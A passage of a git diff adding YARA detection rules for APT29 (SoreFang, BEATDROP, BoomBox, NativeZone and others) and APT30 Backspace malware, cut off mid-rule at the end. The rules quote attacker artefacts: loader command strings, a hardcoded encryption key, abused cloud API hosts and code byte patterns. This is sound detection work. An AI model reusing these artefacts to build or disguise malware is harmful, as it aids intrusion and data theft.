+      $s3 = "Start bot:" wide
+      $s4 = "FromNormalToBase64" ascii 
+      $s5 = "FromBase64ToNormal" ascii 
+      $s6 = "WellMess" ascii
+   condition:
+      uint16(0) == 0x5a4d and uint16(uint16(0x3c)) == 0x4550 and 3 of them
+}
+
+rule APT_APT29_sorefang_encryption_key_schedule { 
+   meta:
+      description = "Rule to detect SoreFang based on the key schedule used for encryption"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "8d89edc1-a9fc-5155-9dc2-8d7f952f90d1"
+   strings:
+      $ = { C7 05 ?? ?? ?? ?? 63 51 E1 B7 B8 ?? ?? ?? ?? 8B 48 
+            FC 81 E9 47 86 C8 61 89 08 83 C0 04 3D ?? ?? ?? ?? 
+            7E EB 33 D2 33 C9 B8 2C 00 00 00 89 55 D4 33 F6 89 
+            4D D8 33 DB 3B F8 0F 4F C7 8D 04 40 89 45 D0 83 F8 
+            01 7C 4F 0F 1F 80 00 00 00 00 }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them 
+}
+
+rule APT_APT29_sorefang_encryption_key_2b62 {
+  meta:
+      description = "Rule to detect SoreFang based on hardcoded encryption key"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "9a7abad7-1cfa-52c8-9416-47cb80486714"
+   strings:
+      $ = "2b6233eb3e872ff78988f4a8f3f6a3ba"
+   condition:
+      ( uint16(0) == 0x5A4D and uint16(uint32(0x3c) ) == 0x4550) 
+      and any of them 
+}
+
+rule APT_APT29_sorefang_directory_enumeration_output_strings { 
+   meta:
+      description = "Rule to detect SoreFang based on formatted string output for directory enumeration"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "e24dbda1-3d43-52a7-9249-70a648f4913e"
+   strings:
+      $ = "----------All usres directory----------" 
+      $ = "----------Desktop directory----------"
+      $ = "----------Documents directory----------"
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) 
+      and 2 of them 
+}
+
+rule APT_APT29_sorefang_command_elem_cookie_ga_boundary_string { 
+   meta:
+      description = "Rule to detect SoreFang based on scheduled task element and Cookie header/boundary strings"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "3c6ffbad-9b39-5518-aa66-d76531ddb9ea"
+   strings:
+      $ = "<Command>" wide
+      $ = "Cookie:_ga="
+      $ = "------974767299852498929531610575"
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) 
+      and 2 of them 
+}
+
+rule APT_APT29_sorefang_encryption_round_function { 
+   meta:
+      description = "Rule to detect SoreFang based on the encryption round function"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "0be1c084-c8df-5920-a320-90364a7fb542"
+   strings:
+      $ = { 8A E9 8A FB 8A 5D 0F 02 C9 88 45 0F FE C1 0F BE C5 88 6D F3 8D
+            14 45 01 00 00 00 0F AF D0 0F BE C5 0F BE C9 0F AF C8 C1 FA 1B C0 E1 05 0A D1 8B 4D EC 0F BE C1 89 55 E4 8D 14 45 01 00 00 00 0F AF D0 8B C1}
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)
+      and any of them 
+}
+
+rule APT_APT29_sorefang_add_random_commas_spaces { 
+   meta:
+      description = "Rule to detect SoreFang based on function that adds commas and spaces"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "9a89c619-6309-500f-b4dc-c8a3e8fc4417"
+   strings:
+      $ = { E8 ?? ?? ?? ?? B9 06 00 00 00 99 F7 F9 8B CE 83 FA 04 7E 09 6A
+            02 68 ?? ?? ?? ?? EB 07 6A 01 68 } 
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) 
+      and any of them
+}
+
+rule APT_APT29_sorefang_modify_alphabet_custom_encode { 
+   meta:
+      description = "Rule to detect SoreFang based on arguments passed into custom encoding algorithm function"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "7c5c1be0-ccad-5c8f-a026-445994b1f279"
+   strings:
+      $ = { 33 C0 8B CE 6A 36 6A 71 66 89 46 60 88 46 62 89 46 68 66 89 46
+            64 }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
+}
+
+rule APT_APT29_sorefang_custom_encode_decode {
+   meta:
+      description = "Rule to detect SoreFang based on the custom encoding/decoding algorithm function"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "4885a659-bb3a-5e33-99cc-b827931bf58f"
+   strings:
+      $ = { 55 8B EC 8B D1 53 56 8B 75 08 8B DE 80 42 62 FA 8A 4A 62 66 D3
+            EB 57 3A 5A 5C 74 0F}
+      $ = { 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE C1 88 4A 62 8A 
+            4A 62 B8 01 00 00 00}
+      $ = { 8A 46 62 84 C0 74 3E 3C 06 73 12 0F B6 C0 B9 06 00 00 00 2B C8 
+            C6 46 62 06 66 D3 66 60 0F B7 4E 60}
+      $ = { 80 3C 38 0D 0F 84 93 01 00 00 C6 42 62 06 8B 56 14 83 FA 10 72 
+            04 8B 06}
+      $ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5B 3B C8 75 07 8B 55 EC B3 3E}
+      $ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5E 3B C8 75 0B 8B 55 EC D0 EB C6 
+            42 62 05}
+      $ = { 8B 55 EC 0F BE 04 38 0F B6 DB 0F B6 4A 5F 3B C1 B8 3F 00 00 00 
+            0F 44 D8}
+      $ = { 8A 4A 62 66 8B 52 60 66 D3 E2 0F B6 C3 66 0B D0 8B 45 EC 66 89 
+            50 60 8A 45 F3 02 C1 88 45 F3 3C 08 72 2E 04 F8 8A C8 88 45 F3 
+            66 D3 EA 8B 4D 08 0F B6 C2 50 }
+      $ = { 3A 5A 5C 74 0F 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE 
+            C1 88 4A 62 }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) 
+      and any of them 
+}
+
+rule APT_APT29_sorefang_remove_chars_comma_space_dot { 
+   meta:
+      description = "Rule to detect SoreFang based on function that removes commas, spaces and dots"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+      id = "c15779b0-6a5e-5345-94ad-95615b567f1f"
+   strings:
+      $ = {8A 18 80 FB 2C 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08} 
+      $ = {8A 18 80 FB 2E 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08} 
+      $ = {8A 18 80 FB 20 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them 
+}
+
+rule APT_APT29_sorefang_disk_enumeration_strings { 
+   meta:
+      description = "Rule to detect SoreFang based on disk enumeration strings"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064" 
+      id = "0ff01793-6fb7-5cff-b4e4-6709269ab0f0"
+   strings:
+      $ = "\x0D\x0AFree on disk: "
+      $ = "Total disk: "
+      $ = "Error in GetDiskFreeSpaceEx\x0D\x0A"
+      $ = "\x0D\x0AVolume label: "
+      $ = "Serial number: "
+      $ = "File system: "
+      $ = "Error in GetVolumeInformation\x0D\x0A"
+      $ = "I can not het information about this disk\x0D\x0A"
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) 
+      and all of them 
+}
+
diff --git a/yara-Neo23x0/apt_apt29_nobelium_apr22.yar b/yara-Neo23x0/apt_apt29_nobelium_apr22.yar
new file mode 100644
index 0000000..16bcebd
--- /dev/null
+++ b/yara-Neo23x0/apt_apt29_nobelium_apr22.yar
@@ -0,0 +1,38 @@
+rule M_APT_Downloader_BEATDROP {
+   meta:
+      author = "Mandiant"
+      description = "Rule looking for BEATDROP malware"
+      reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+      date = "2022-04-28"
+      score = 90
+      id = "5720870e-8989-59f2-998b-019084d091ce"
+   strings:
+      $ntdll1 = "ntdll" ascii fullword
+      $ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
+      $url1 = "api.trello.com" ascii
+      $url2 = "/members/me/boards?key=" ascii
+      $url3 = "/cards?key=" ascii
+   condition:
+      uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and all of them
+}
+
+rule M_APT_Downloader_BOOMMIC {
+   meta:
+      author = "Mandiant"
+      description = "Rule looking for BOOMMIC malware"
+      reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+      date = "2022-04-28"
+      score = 75
+      id = "34ea08a6-5d6f-5cdd-a629-fa36313c98f7"
+   strings:
+      $loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
+      $loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
+      $func1 = "GetComputerNameExA" ascii
+      $func2 = "HttpQueryInfoA" ascii
+   condition:
+      uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and
+      (
+         ($loc_10001000 and $func1) or
+         ($loc_100012fd and $func2)
+      )
+}
diff --git a/yara-Neo23x0/apt_apt29_nobelium_may21.yar b/yara-Neo23x0/apt_apt29_nobelium_may21.yar
new file mode 100644
index 0000000..b456d05
--- /dev/null
+++ b/yara-Neo23x0/apt_apt29_nobelium_may21.yar
@@ -0,0 +1,305 @@
+import "math"
+import "pe"
+
+/* 
+    YARA Rules by Volexity
+    Reference: https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/
+*/
+
+rule APT_APT29_Win_FlipFlop_LDR : APT29 {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-05-25"
+      description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
+      hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330"
+      reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+      id = "58696a6f-55a9-5212-9372-a539cc327e6b"
+   strings:
+      $s1 = "irnjadle"
+      $s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
+      $s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."
+   condition:
+      all of ($s*)
+}
+
+rule APT_APT28_Win_FreshFire : APT29 {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-05-27"
+      description = "The FRESHFIRE malware family. The malware acts as a downloader, pulling down an encrypted snippet of code from a remote source, executing it, and deleting it from the remote server."
+      hash = "ad67aaa50fd60d02f1378b4155f69cffa9591eaeb80523489a2355512cc30e8c"
+      reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+      id = "050b8e61-139a-5ff5-998a-7de67c9975bf"
+   strings:
+      $uniq1 = "UlswcXJJWhtHIHrVqWJJ"
+      $uniq2 = "gyibvmt\x00"
+
+      $path1 = "root/time/%d/%s.json"
+      $path2 = "C:\\dell.sdr"
+      $path3 = "root/data/%d/%s.json"
+   condition:
+      (
+         pe.number_of_exports == 1 and pe.exports("WaitPrompt")
+      ) or
+      any of ($uniq*) or
+      2 of ($path*)
+}
+
+/* 
+    YARA Rules by Florian
+    Mostly based on MSTICs report 
+    https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
+    Not shared publicly: rules for CobaltStrike loader samples, ISOs, specifc msiexec method found in some samples
+    only available in THOR and VALHALLA
+*/
+
+rule APT_APT29_NOBELIUM_JS_EnvyScout_May21_1 {
+   meta:
+      description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      id = "42739aad-a88a-545b-8256-1f727c79c4f8"
+   strings:
+      $x1 = "[i].charCodeAt(0) ^ 2);}"
+   condition:
+      filesize < 5000KB and 1 of them
+}
+
+rule APT_APT29_NOBELIUM_JS_EnvyScout_May21_2 {
+   meta:
+      description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      id = "d5cf3365-fe24-533a-a678-b5b6d4d99997"
+   strings:
+      $s1 = "saveAs(blob, " ascii
+      $s2 = ".iso\");" ascii
+      $s3 = "application/x-cd-image" ascii
+      $s4 = ".indexOf(\"Win\")!=-1" ascii
+   condition:
+      filesize < 5000KB and all of them
+}
+
+rule APT_APT29_NOBELIUM_LNK_NV_Link_May21_2 {
+   meta:
+      description = "Detects NV Link as used by NOBELIUM group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      id = "52c2caf9-13df-5614-9c9e-afcd76ec77f9"
+   strings:
+      $s1 = "RegisterOCX BOOM" ascii wide
+      $s2 = "cmd.exe /c start BOOM.exe" ascii wide
+   condition:
+      filesize < 5000KB and 1 of them
+}
+
+rule APT_APT29_NOBELIUM_LNK_Samples_May21_1 {
+   meta:
+      description = "Detects link file characteristics as described in APT29 NOBELIUM report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+      date = "2021-05-27"
+      score = 85
+      hash1 = "24caf54e7c3fe308444093f7ac64d6d520c8f44ea4251e09e24931bdb72f5548"
+      id = "c807ab5a-f66a-5622-81b1-6e69b6df8446"
+   strings:
+      $a1 = "rundll32.exe" wide
+
+      $sa1 = "IMGMountingService.dll" wide
+      $sa2 = "MountImgHelper" wide
+
+      $sb1 = "diassvcs.dll" wide
+      $sb2 = "InitializeComponent" wide
+
+      $sc1 = "MsDiskMountService.dll" wide 
+      $sc2 = "DiskDriveIni" wide
+
+      $sd1 = "GraphicalComponent.dll" wide
+      $sd2 = "VisualServiceComponent" wide
+
+      $se1 = "data/mstu.dll,MicrosoftUpdateService" wide
+   condition:
+      uint16(0) == 0x004c and
+      filesize < 4KB and $a1 and 
+      ( all of ($sa*) or all of ($sb*) or all of ($sc*) or all of ($sd*) or all of ($se*) )
+}
+
+rule APT_APT29_NOBELIUM_BoomBox_May21_1 {
+   meta:
+      description = "Detects BoomBox malware as described in APT29 NOBELIUM report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+      date = "2021-05-27"
+      score = 85
+      id = "fe964f3e-1cda-5f16-838f-dd7b23cd5651"
+   strings:
+      $xa1 = "123do3y4r378o5t34onf7t3o573tfo73" ascii wide fullword
+      $xa2 = "1233t04p7jn3n4rg" ascii wide fullword
+   condition:
+      1 of them
+}
+
+rule APT_APT29_NOBELIUM_BoomBox_PDF_Masq_May21_1 {
+   meta:
+      description = "Detects PDF documents as used by BoomBox as described in APT29 NOBELIUM report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+      date = "2021-05-27"
+      score = 70
+      id = "bdfb9600-edda-5c8c-ab23-14fb71c8e647"
+   strings:
+      $ah1 = { 25 50 44 46 2d 31 2e 33 0a 25 } /* PDF Header */
+      $af1 = { 0a 25 25 45 4f 46 0a } /* EOF */
+
+      $fp1 = "endobj" ascii
+      $fp2 = "endstream" ascii
+      $fp3 = { 20 6F 62 6A 0A } /*  obj\x0a */
+   condition:
+      $ah1 at 0 and $af1 at (filesize-7) and filesize < 100KB
+      and not 1 of ($fp*)
+      and math.entropy(16,filesize) > 7
+}
+
+rule APT_APT29_NOBELIUM_NativeZone_Loader_May21_1 {
+   meta:
+      description = "Detects NativeZone loader as described in APT29 NOBELIUM report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+      date = "2021-05-27"
+      score = 85
+      hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
+      id = "02d9257d-f439-5071-96b0-a973b088e329"
+   strings:
+      $s1 = "\\SystemCertificates\\Lib\\CertPKIProvider.dll" ascii
+      $s2 = "rundll32.exe %s %s" ascii fullword
+      $s3 = "eglGetConfigs" ascii fullword
+
+      $op1 = { 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 33 db 89 5d fc }
+      $op2 = { 8b 46 18 e9 30 ff ff ff 90 87 2f 00 10 90 2f 00 10 }
+      $op3 = { e8 14 dd ff ff 8b f1 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and 3 of them or 4 of them
+}
+
+rule APT_APT29_NOBELIUM_BoomBox_May21_2 {
+   meta:
+      description = "Detects BoomBox malware used by APT29 / NOBELIUM"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
+      hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
+      hash3 = "cf1d992f776421f72eabc31d5afc2f2067ae856f1c9c1d6dc643a67cb9349d8c"
+      id = "a4144c00-48b2-5520-b773-5d0a5de95fb1"
+   strings:
+      $x1 = "\\Microsoft\\NativeCache\\NativeCacheSvc.dll" wide
+      $x2 = "\\NativeCacheSvc.dll _configNativeCache" wide
+      
+      $a1 = "/content.dropboxapi.com" wide fullword
+      
+      $s1 = "rundll32.exe {0} {1}" wide fullword
+      $s2 = "\\\\CertPKIProvider.dll" wide
+      $s3 = "/tmp/readme.pdf" wide
+      $s4 = "temp/[^\"]*)\"" wide fullword
+
+      $op1 = { 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 01 2f 4f 00 72 00 }
+      $op2 = { 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 }
+      $op3 = { 4d 05 20 00 12 80 91 04 20 01 08 0e 04 20 00 12 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 40KB and
+      3 of them or 4 of them
+}
+
+rule APT_APT29_NOBELIUM_Malware_May21_2 {
+   meta:
+      description = "Detects malware used by APT29 / NOBELIUM"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      hash1 = "292e5b0a12fea4ff3fc02e1f98b7a370f88152ce71fe62670dd2f5edfaab2ff8"
+      hash2 = "776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b"
+      id = "b1462b4b-227f-5aeb-92ea-bda6a86831c7"
+   strings:
+      $op1 = { 48 03 c8 42 0f b6 04 21 88 03 0f b6 43 01 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
+      $op2 = { 48 03 c8 42 0f b6 04 21 88 43 01 41 0f b6 c7 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
+      $op3 = { 45 0f b6 43 ff 41 8b c2 99 44 88 03 41 0f b6 2b 83 e2 03 03 c2 40 88 6b 01 }
+   condition:
+      filesize < 2200KB and
+      all of them
+}
+
+rule APT_APT29_NOBELIUM_Stageless_Loader_May21_2 {
+   meta:
+      description = "Detects stageless loader as used by APT29 / NOBELIUM"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      hash1 = "a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf"
+      hash2 = "c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78"
+      id = "7b83d327-52fc-5401-ae35-00f6b825678a"
+   strings:
+      $x1 = "DLL_stageless.dll" ascii fullword
+      
+      $s1 = "c:\\users\\devuser\\documents" ascii fullword nocase
+      $s2 = "VisualServiceComponent" ascii fullword
+      $s3 = "CheckUpdteFrameJavaCurrentVersion" ascii fullword
+
+      $op1 = { a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 }
+      $op2 = { ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 e8 d4 00 10 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 900KB and
+      2 of them or 3 of them
+}
+
+rule APT_APT29_NOBELIUM_Malware_May21_3 {
+   meta:
+      description = "Detects malware used by APT29 / NOBELIUM"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      hash1 = "2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e"
+      id = "89cb6884-4242-5b5a-b0ac-b31041dd261c"
+   strings:
+      $s1 = "Win32Project1.dll" ascii fullword
+
+      $op1 = { 59 c3 6a 08 68 70 5e 01 10 e8 d2 8c ff ff 8b 7d 08 8b c7 c1 f8 05 }
+      $op2 = { 8d 4d f0 e8 c4 12 00 00 68 64 5b 01 10 8d 45 f0 c7 45 f0 6c 01 01 10 50 e8 ea 13 00 00 cc }
+      $op4 = { 40 c3 8b 65 e8 e8 a6 86 ff ff cc 6a 0c 68 88 60 01 10 e8 b0 4d ff ff }
+
+      $xc1 = { 25 73 25 73 00 00 00 00 2F 65 2C 20 00 00 00 00
+               43 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00
+               77 00 73 00 5C 00 65 00 78 00 70 00 6C 00 6F 00
+               72 00 65 00 72 00 2E 00 65 00 78 00 65 }
+   condition:
+      filesize < 3000KB and
+      ( $xc1 or 3 of them )
+}
+
+rule APT_APT29_NOBELIUM_Malware_May21_4 {
+   meta:
+      description = "Detects malware used by APT29 / NOBELIUM"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+      date = "2021-05-29"
+      hash1 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
+      id = "56193475-52b4-5720-abc5-72249e2a0c37"
+   strings:
+      $s1 = "KM.FileSystem.dll" ascii fullword
+
+      $op1 = { 80 3d 50 6b 04 10 00 0f 85 96 00 00 00 33 c0 40 b9 48 6b 04 10 87 01 33 db 89 5d fc }
+      $op2 = { c3 33 c0 b9 7c 6f 04 10 40 87 01 c3 8b ff 55 }
+      $op3 = { 8d 4d f4 e8 53 ff ff ff 68 d0 22 01 10 8d 45 f4 50 e8 d8 05 00 00 cc 8b 41 04 }
+
+      $xc1 = { 2E 64 6C 6C 00 00 00 00 41 53 4B 4F 44 00 00 00
+               53 75 63 63 65 73 73 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and
+      ( $xc1 or 3 of them )
+}
diff --git a/yara-Neo23x0/apt_apt30_backspace.yar b/yara-Neo23x0/apt_apt30_backspace.yar
new file mode 100644
index 0000000..94c27d3
--- /dev/null
+++ b/yara-Neo23x0/apt_apt30_backspace.yar
@@ -0,0 +1,1255 @@
+/*
+	Yara Rule to detect Backspace Malware mentioned in FireEye APT30 Report
+	https://www.fireeye.com/blog/threat-research/2015/04/apt_30_and_the_mecha.html
+
+	13.04.2015
+	v1.0
+	please report back false positives via the 'issue' section of the LOKI github page
+*/
+
+rule APT30_Generic_H {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
+		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
+		id = "1908e985-9634-51dc-8972-53afa13c26a3"
+	strings:
+		$s0 = "\\Temp1020.txt" ascii
+		$s1 = "Xmd.Txe" fullword ascii
+		$s2 = "\\Internet Exp1orer" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_2 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
+		id = "821a2de9-48c4-58d8-acc4-1e25025ab5cf"
+	strings:
+		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
+		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
+		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
+		$s11 = "ForZRLnkWordDlg" fullword wide
+		$s12 = " (C) 2011" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_3 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
+		id = "62e81385-26f5-545d-92ff-6604ff4d0186"
+	strings:
+		$s5 = "Software\\Mic" ascii
+		$s6 = "HHOSTR" ascii
+		$s9 = "ThEugh" fullword ascii
+		$s10 = "Moziea/" ascii
+		$s12 = "%s%s(X-" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_C {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
+		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
+		hash3 = "37aee58655f5859e60ece6b249107b87"
+		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
+		hash5 = "a2e0203e665976a13cdffb4416917250"
+		hash6 = "b4ae0004094b37a40978ef06f311a75e"
+		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
+		id = "25ec8d54-9875-5bf5-abc9-296f18f3c5e5"
+	strings:
+		$s0 = "MYUSER32.dll" fullword ascii
+		$s1 = "MYADVAPI32.dll" fullword ascii
+		$s2 = "MYWSOCK32.dll" fullword ascii
+		$s3 = "MYMSVCRT.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_4 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
